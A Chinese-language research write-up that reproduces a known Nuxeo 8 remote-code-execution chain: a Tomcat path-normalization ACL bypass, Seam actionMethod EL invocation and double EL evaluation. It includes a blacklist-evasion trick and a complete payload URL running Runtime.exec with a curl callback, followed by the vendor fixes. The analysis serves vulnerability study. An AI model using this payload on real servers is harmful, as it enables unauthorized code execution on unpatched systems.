说明
Nuxeo RCE的分析是来源于Orange的这篇文章How I Chained 4 Bugs(Features?) into RCE on Amazon Collaboration System,中文版见围观orange大佬在Amazon内部协作系统上实现RCE。在Orange的这篇文章虽然对整个漏洞进行了说明,但是如果没有实际调试过整个漏洞,看了文章之后始终还是难以理解,体会不深。由于Nuxeo已经将源码托管在Github上面,就决定自行搭建一个Nuxeo系统复现整个漏洞。
环境搭建
整个环节最麻烦就是环境搭建部分。由于对整个系统不熟,踩了很多的坑。
源码搭建
由于Github上面有系统的源码,考虑直接下载Nuxeo的源码搭建环境。当Nuxeo导入到IDEA中,发现有10多个模块,导入完毕之后也没有找到程序的入口点。折腾了半天,也没有运行起来。
考虑到之后整个系统中还涉及到了Nuxeo
、JBoss-Seam
、Tomcat
,那么我就必须手动地解决这三者之间的部署问题。但在网络上也没有找到这三者之间的共同运行的方式。对整个三个组件的使用也不熟,搭建源码的方式也只能夭折了。
Docker远程调试
之后同学私信了orange调试方法之后,得知是直接使用的docker+Eclipse Remote Debug
远程调试的方式。因为我们直接从Docker下载的Nuxeo系统是可以直接运行的,所以利用远程调试的方式是可以解决环境这个问题。漏洞的版本是在Nuxeo的分支8上面。整个搭建步骤如下:
- 拉取分支。从Docker上面拉取8的分支版本,
docker pull nuxeo:8
。 - 开启调试。修改
/opt/nuxeo/server/bin/nuxeo.conf
文件,关闭#JAVA_OPTS=$JAVA_OPTS -Xdebug -Xrunjdwp:transport=dt_socket,address=8787,server=y,suspend=n
这行注释,开始远程调试。 - 安装模块。进入到
/opt/nuxeo/server
目录下运行./bin/nuxeoctl mp-install nuxeo-jsf-ui
(这个组件和我们之后的漏洞利用有关) 导出源代码。由于需要远程调试,所以需要将Docker中的源代码导出来。从Docker中到处源代码到宿主机中也简单。
- 进入到Docker容器中,将
/opt/nuxeo/server
下的文件全部打包 - 从Docker中导出上一步打包的文件到宿主机中。
- 进入到Docker容器中,将
- 以
Daemon
的方式运行Docker环境。 - 用IDEA直接导入
server/nxserver/nuxeo.war
程序,这个war包程序就是一个完整的系统了,之后导入系统需要的jar包。jar来源包括server/bin
、server/lib
、server/nxserver/bundles
、server/nxserver/lib
。如果导入的war程序没有报错没有显示缺少jar包那就说明我们导入成功了。 - 开启IDEA对Docker的远程调试。进入到
Run/Edit Configurations/
配置如下:
8.导入程序源码。由于我们需要对nuxeo
、jboss-seam
相关的包进行调试,就需要导入jar包的源代码。相对应的我们需要导入的jar包包括:apache-tomcat-7.0.69-src
、nuxeo-8.10-SNAPSHOT
、jboss-seam-2-3-1
的源代码。
至此,我们的整个漏洞环境搭建完毕。
漏洞调试
路径规范化错误导致ACL绕过
ACL是Access Control List的缩写,中文意味访问控制列表。nuxeo中存在NuxeoAuthenticationFilter
对访问的页面进行权限校验,这也是目前常见的开发方式。这个漏洞的本质原理是在于由于在nuxeo中会对不规范的路径进行规范化,这样会导致绕过nuxeo的权限校验。
正如orange所说,Nuxeo使用自定义的身份验证过滤器NuxeoAuthenticationFilter并映射/*
。在WEB-INF/web.xml
中存在对NuxeoAuthenticationFilter
的配置。部分如下:
... <filter-mapping> <filter-name>NuxeoAuthenticationFilter </filter-name> <url-pattern>/oauthGrant.jsp</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> <filter-mapping> <filter-name>NuxeoAuthenticationFilter </filter-name> <url-pattern>/oauth/*</url-pattern> <dispatcher>REQUEST</dispatcher> <dispatcher>FORWARD</dispatcher> </filter-mapping> ...
但是我们发现login.jsp
并没有使用NuxeoAuthenticationFilter
过滤器(想想这也是情理之中,登录页面一般都不需要要权限校验)。而这个也是我们后面的漏洞的入口点。
分析org.nuxeo.ecm.platform.ui.web.auth.NuxeoAuthenticationFilter::bypassAuth()
中的对权限的校验。
protected boolean bypassAuth(HttpServletRequest httpRequest) { ... try { unAuthenticatedURLPrefixLock.readLock().lock(); String requestPage = getRequestedPage(httpRequest); for (String prefix : unAuthenticatedURLPrefix) { if (requestPage.startsWith(prefix)) { return true; } } } ....
解读如orange所说:
从上面可以看出来,bypassAuth检索当前请求的页面,与unAuthenticatedURLPrefix进行比较。 但bypassAuth如何检索当前请求的页面? Nuxeo编写了一个从HttpServletRequest.RequestURI中提取请求页面的方法,第一个问题出现在这里!
追踪进入到
protected static String getRequestedPage(HttpServletRequest httpRequest) { String requestURI = httpRequest.getRequestURI(); String context = httpRequest.getContextPath() + '/'; String requestedPage = requestURI.substring(context.length()); int i = requestedPage.indexOf(';'); return i == -1 ? requestedPage : requestedPage.substring(0, i); }
getRequestedPage()
对路径的处理很简单。如果路径中含有;
,会去掉;
后面所有的字符。以上都直指Nuxeo对于路径的处理,但是Nuxeo后面还有Web服务器,而不同的Web服务器对于路径的处理可能也不相同。正如Orange所说
每个Web服务器都有自己的实现。 Nuxeo的方式在WildFly,JBoss和WebLogic等容器中可能是安全的。 但它在Tomcat下就不行了! 因此getRequestedPage方法和Servlet容器之间的区别会导致安全问题!
根据截断方式,我们可以伪造一个与ACL中的白名单匹配但是到达Servlet中未授权区域的请求!
借用Orange的PPT中的一张图来进行说明:
我们进行如下的测试:
- 访问一个需要进行权限认证的URL,
oauth2Grant.jsp
最终的结果是出现了302
- 我们访问需要畸形URL,
http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp
,结果出现了500
出现了500的原因是在于进入到tomcat之后,因为servlet逻辑无法获得有效的用户信息,因此它会抛出Java NullPointerException,但是http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp
已经绕过ACL了。
Tomcat的路径的规范化的处理
这一步其实如果我们知道了tomcat对于路径的处理就可以了,这一步不必分析。但是既然出现了这个漏洞,就顺势分析一波tomcat的源码。
根据网络上的对于tomcat的解析URL的源码分析,解析Tomcat内部结构和请求过程和[Servlet容器Tomcat中web.xml中url-pattern的配置详解[附带源码分析]](https://www.cnblogs.com/fangjian0423/p/servletContainer-tomcat-urlPattern.html)。tomcat对路径的URL的处理的过程是:
tomcat中存在Connecter和Container,Connector最重要的功能就是接收连接请求然后分配线程让Container来处理这个请求。四个自容器组件构成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。会以此向下解析,也就是说。如果tomcat收到一个请求,交由Container
去设置Host
和Context
以及wrapper
。这几个组件的作用如下:
我们首先分析org.apache.catalina.connector.CoyoteAdapter::postParseRequest()
中对URL的处理,
- 经过了
postParseRequest()
中的convertURI(decodedURI, request);
之后,会在req
对象中增加decodedUriMB
字段,值为/nuxeo/oauth2Grant.jsp
。
解析完
decodedUriMB
之后,connector
对相关的属性进行设置:connector.getMapper().map(serverName, decodedURI, version,request.getMappingData()); request.setContext((Context) request.getMappingData().context); request.setWrapper((Wrapper) request.getMappingData().wrapper);
- 之后进入到
org.apache.tomcat.util.http.mapper.Mapper
中的internalMapWrapper()
函数中选择对应的mapper(mapper就对应着处理的serlvet)。在这个internalMapWrapper()
中会对mappingData
中所有的属性进行设置,其中也包括wrapperPath
。而wrapperPath
就是用于之后获得getServletPath()
的地址。
最后进入到
org.apache.jasper.servlet.JspServlet::service()
处理URL。整个函数的代码如下:public void service (HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { ... jspUri = request.getServletPath(); String pathInfo = request.getPathInfo(); if (pathInfo != null) { jspUri += pathInfo; } try { boolean precompile = preCompile(request); serviceJspFile(request, response, jspUri, precompile); } catch (RuntimeException e) { throw e; } catch (ServletException e) { throw e; } ... }
在函数内部通过jspUri = request.getServletPath();
来获得URL。最终通过层层调用的分析,是在org.apache.catalina.connector.Request::getServletPath()
中的获得的。
public String getServletPath() { return (mappingData.wrapperPath.toString()); }
得到的结果就是/oauth2Grant.jsp
.
最后程序运行serviceJspFile(request, response, jspUri, precompile);
,运行oauth2Grant.jsp
对应的servlet。由于没有进过权限认证,直接访问了oauth2Grant.jsp
,导致servlet
无法获取用户的认证信息,结果报错了。
这也是我们之前访问http://172.17.0.2:8080/nuxeo/login.jsp;/..;/oauth2Grant.jsp
出现了500 java.lang.NullPointerException
的原因。
代码重用功能导致部分EL调用
由于Nuxeo
与Tomcat
对于路径解析不一致的问题,目前我就可以访问任意的servlet
。现在的问题是我们需要访问一个去访问未经认证的Seam servlet去触发漏洞。如Orange所说:
actionMethod是一个特殊的参数,可以从查询字符串中调用特定的JBoss EL(Expression Language)
actionMethod
的触发是由org.jboss.seam.navigation.Pages::callAction
处理。如下:
private static boolean callAction(FacesContext facesContext) { //TODO: refactor with Pages.instance().callAction()!! boolean result = false; String actionId = facesContext.getExternalContext().getRequestParameterMap().get("actionMethod"); if (actionId!=null) { String decodedActionId = URLDecoder.decode(actionId); if (decodedActionId != null && (decodedActionId.indexOf('#') >= 0 || decodedActionId.indexOf('{') >= 0) ){ throw new IllegalArgumentException("EL expressions are not allowed in actionMethod parameter"); } if ( !SafeActions.instance().isActionSafe(actionId) ) return result; String expression = SafeActions.toAction(actionId); result = true; MethodExpression actionExpression = Expressions.instance().createMethodExpression(expression); outcome = toString( actionExpression.invoke() ); fromAction = expression; handleOutcome(facesContext, outcome, fromAction); } return result; }
其中actionId
就是actionMethod
参数的内容。callAction
整体功能很简单,从actionId
中检测出来expression
(即EL表达式),之后利用actionExpression.invoke()
执行表达式,最终通过handleOutcome()
输出表达式的结果,问题是在于handleOutcome()
也能够执行EL表达式。但是actionMethod
也不可能让你随意地执行EL表达式,在方法中还存在一些安全检查。包括SafeActions.instance().isActionSafe(actionId)
。跟踪进入到org.jboss.seam.navigation.SafeActions::isActionSafe()
:
public boolean isActionSafe(String id){ if ( safeActions.contains(id) ) return true; int loc = id.indexOf(':'); if (loc<0) throw new IllegalArgumentException("Invalid action method " + id); String viewId = id.substring(0, loc); String action = "\"#{" + id.substring(loc+1) + "}\""; // adding slash as it otherwise won't find a page viewId by getResource* InputStream is = FacesContext.getCurrentInstance().getExternalContext().getResourceAsStream("/" +viewId); if (is==null) throw new IllegalStateException("Unable to read view " + "/" + viewId + " to execute action " + action); BufferedReader reader = new BufferedReader( new InputStreamReader(is) ); try { while ( reader.ready() ) { if ( reader.readLine().contains(action) ) { addSafeAction(id); return true; } } return false; } // catch exception }
以:
作为分隔符对id
进行分割得到viewId
和action
,其中viewId
就是一个存在的页面,而action
就是EL
表达式。reader.readLine().contains(action)
这行代码的含义就是在viewId
页面中必须存在action
表达式。我们以一个具体的例子来进行说明。login.xhtml
为例进行说明,这个页面刚好存在<td><h:inputText name="j_username" value="#{userDTO.username}" /></td>
表达式。以上的分析就说明了为什么需要满足orange的三个条件了。
- actionMethod的值必须是一对,例如:FILENAME:EL_CODE
- FILENAME部分必须是context-root下的真实文件
- 文件FILENAME必须包含内容“#{EL_CODE}”(双引号是必需的)
例如这样的URL:http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml?actionMethod=login.xhtml:userDTO.username
。其中login.xhtml:userDTO.username
满足了第一个要求;login.xhtml
是真实存在的,满足了第二个要求;"#{userDTO.username}"
满足了第三个要求。
双重评估导致EL注入
看起来是非常安全的。因为这样就限制了只能执行在页面中的EL表达式,无法执行攻击者自定义的表达式,而页面中的EL表达式一般都是由开发者开发不会存在诸如RCE的这种漏洞。但是这一切都是基于理想的情况下。但是之前分析就说过在callAction()
中最终还会调用handleOutcome(facesContext, outcome, fromAction)
对EL执行的结果进行应一步地处理,如果EL的执行结果是一个表达式则handleOutcome()
会继续执行这个表达式,即双重的EL表达式会导致EL注入。
我们对handleOutcome()
的函数执行流程进行分析:
- 在
org.jboss.seam.navigation.Pages::callAction()
中执行handleOutcome()
: org.jboss.seam.navigation.Pages:handleOutcome()
中。org.nuxeo.ecm.platform.ui.web.rest.FancyNavigationHandler::handleNavigation()
org.jboss.seam.jsf.SeamNavigationHandler::handleNavigation()
org.jboss.seam.core.Interpolator::interpolate()
org.jboss.seam.core.Interpolator::interpolateExpressions()
中,以Object value = Expressions.instance().createValueExpression(expression).getValue();
的方式执行了EL表达式。
问题的关键是在于找到一个xhtml供我们能够执行双重EL。根据orange的文章,找到widgets/suggest_add_new_directory_entry_iframe.xhtml
。如下:
<nxu:set var="directoryNameForPopup" value="#{request.getParameter('directoryNameForPopup')}" cache="true"> ....
其中存在#{request.getParameter('directoryNameForPopup')}
一个EL表达式,用于获取到directoryNameForPopup
参数的内容(这个就是第一次的EL表达式了)。那么如果directoryNameForPopup
的参数也是EL表达式,这样就会达到双重EL表达式的注入效果了。
至此整个漏洞的攻击链已经完成了。
双重EL评估导致RCE
需要注意的是在Seam2.3.1
中存在一个反序列化的黑名单,具体位于org/jboss/seam/blacklist.properties
中,内容如下:
.getClass( .class. .addRole( .getPassword( .removeRole( session['class']
黑名单导致无法通过"".getClass().forName("java.lang.Runtime")
的方式获得反序列化的对象。但是可以利用数组的方式绕过这个黑名单的检测,""["class"].forName("java.lang.Runtime")
。绕过了这个黑名单检测之后,那么我们就可以利用""["class"].forName("java.lang.Runtime")
这种方式范反序列化得到java.lang.Runtime
类进而执行RCE了。我们重新梳理一下整个漏洞的攻击链:
- 利用
nuxeo
中的bypassAuth
的路径规范化绕过NuxeoAuthenticationFilter
的权限校验; - 利用
Tomcat
对路径的处理,访问任意的servlet
; - 利用
jboss-seam
中的callAction
使我们可以调用actionMethod
。利用actionMethod
利用调用任意xhtml文件中的EL表达式; - 利用
actionMethod
我们利用调用widgets/suggest_add_new_directory_entry_iframe.xhtml
,并且可以控制其中的参数; - 控制
suggest_add_new_directory_entry_iframe
中的request.getParameter('directoryNameForPopup')
中的directoryNameForPopup
参数,为RCE的EL表达式的payload; org.jboss.seam.navigation.Pages::callAction
执行双重EL,最终造成RCE;
我们最终的Payload是:
http://172.17.0.2:8080/nuxeo/login.jsp;/..;/create_file.xhtml? actionMethod=widgets/suggest_add_new_directory_entry_iframe.xhtml:request.getParameter('directoryNameForPopup')&directoryNameForPopup =/?key=#{''['class'].forName('java.lang.Runtime').getDeclaredMethods() [15].invoke(''['class'].forName('java.lang.Runtime').getDeclaredMethods() [7].invoke(null),'curl 172.17.0.1:9898')}
其中172.17.0.1
是我宿主机的IP地址,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[7]
得到的就是exec(java.lang.String)
,''['class'].forName('java.lang.Runtime').getDeclaredMethods()[15]
得到的就是getRuntime()
,最终成功地RCE了。
修复
Nxueo的修复
Nuxeo
出现的漏洞的原因是在于ACL
的绕过以及与tomcat的路径规范化的操作不一致的问题。这个问题已经在NXP-24645: fix detection of request page for login中修复了。修复方式是:
现在通过httpRequest.getServletPath();
获取的路径和tomcat
保持一致,这样ACL就无法被绕过同时有也不会出现于tomcat路径规范化不一致的问题;
seam的修复
Seam的修复有两处,NXP-24606: improve Seam EL blacklist和NXP-24604: don't evalue EL from user input
在blacklist
中增加了黑名单:
包括.forName(
,这样无法通过.forName(
进行反序列化了。
修改了callAction()
中的方法处理,如下:
修改之后的callAction()
没有进行任何的处理直接返回false
不执行任何的EL表达式。
总结
通篇写下来发现自己写和Orange的那篇文章并没有很大的差别,但是通过自己手动地调试一番还是有非常大的收获的。这个漏洞的供给链的构造确实非常的精巧。
- 充分利用了
Nuxeo
的ACL的绕过,与Tomcat
对URL规范化的差异性导致了我们的任意的servlet
的访问。 - 利用了
seam
中的actionMethod
使得我们可以指向任意xhtml
中的任意EL表达式。 - 利用了
callAction()
中对于EL表达式的处理执行了双重EL表达式。